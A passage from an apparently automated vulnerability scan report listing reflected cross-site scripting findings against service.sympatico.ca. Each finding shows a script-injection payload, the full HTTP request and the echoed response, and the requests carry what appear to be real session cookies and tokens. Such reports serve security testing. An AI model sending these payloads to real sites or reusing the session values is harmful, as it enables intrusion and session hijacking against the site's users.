ome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:48 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/jsa87d1"><script>alert(1)</script>92e5c653cb1/functions.js" />
...[SNIP]...

2.262. https://service.sympatico.ca/js/functions.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/functions.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 22ed8"><script>alert(1)</script>ce2232cd989 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/functions.js22ed8"><script>alert(1)</script>ce2232cd989 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:53 GMT
Connection: close
Set-Cookie: SMSESSION=QWShuEWs9Ic5yhSDLHAxeJv3vtuBFJqCBNRh6aGC9fUwJVt64gSfe0SPhyLWLZQp7/vsW0zV/1y8Rwt6kEwSSA6QS2m3qH5MNeVk9dAUoZn9fGNAiFdbmC7xKS29Pyo9nTI87nF25U2SL1jySzedwwu+RhIOBAHQ3a2box6qdLRITicDy3lkMJa/4iiKfQs64x+Vm3ZTzrKmSQYY0ijd+2Dj+liyYuwiMwtq5gaT1tjQ1myylMWOLIpo0NdyDCe1ixAmKEVqkNWwV0enoinTYZOli82ZjSzwlBIMGdkS9eAPSKFMLYkldw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:54 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/functions.js22ed8"><script>alert(1)</script>ce2232cd989" />
...[SNIP]...

2.263. https://service.sympatico.ca/js/glossaryDefinition.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/glossaryDefinition.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f47f7"><script>alert(1)</script>15f2c956eab was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsf47f7"><script>alert(1)</script>15f2c956eab/glossaryDefinition.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:53 GMT
Connection: close
Set-Cookie: SMSESSION=agoO0KoZ/Fzg9EEjUvfceOLVeAjXe/wY8oMoTE+n5puQOFUi6FgmNuFPNej6E0n1oZgI6FJ+idGzlu5fUJvSP+Gf55H4Pj3RUzAnzW+hKq+DmxbyDsRgO4xxL5D2Lf4yrKHIXfAW7i32pf16WvHEoCB/d+O5442dtqSvc6KMC+p5TRW9dRF957jDuseN8avQwynNf97hxu6HSkBAa2dPutRCoth7awRls5tWdjpKpNtppX1LUmOcG4rl8pAaa26I0Js2HdqlR8bt+OGspcZjqGDNpjH/cGz1gyUyZl/wZr6l32QaEcc/OQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:54 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:54 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/jsf47f7"><script>alert(1)</script>15f2c956eab/glossaryDefinition.js" />
...[SNIP]...

2.264. https://service.sympatico.ca/js/glossaryDefinition.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/glossaryDefinition.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82ea2"><script>alert(1)</script>82849081de6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/glossaryDefinition.js82ea2"><script>alert(1)</script>82849081de6 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:56 GMT
Connection: close
Set-Cookie: SMSESSION=xdHCzxqHsKQlxHpMcHXfgPmGs2JwPj0+Bg6gSsJFG4odHHoSn7wPr6Og+n8OpSlFzladyCmFQzwo1L7NV6+4m1dXSbVslPpijmJPtnKv5LO9EVqpmkOEo8+MIS6EXK6mCg9metblobAtnRxN7GFeet6kOe9xOTbX2iwZ80+RRe45l6/3RuKBuJCI2AcLa+s+PL2k1ZeD0lN/hLT8KmdnU2Xcu2tGkZgHGmB9zVlLDWTIFjD35Oz2r7gjbhZ6NG4tKbK/HnFlU9dqhBjE6NdEPBnc6UcLEemvu4PU6HoBu/Ud6XhgYkK7OQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E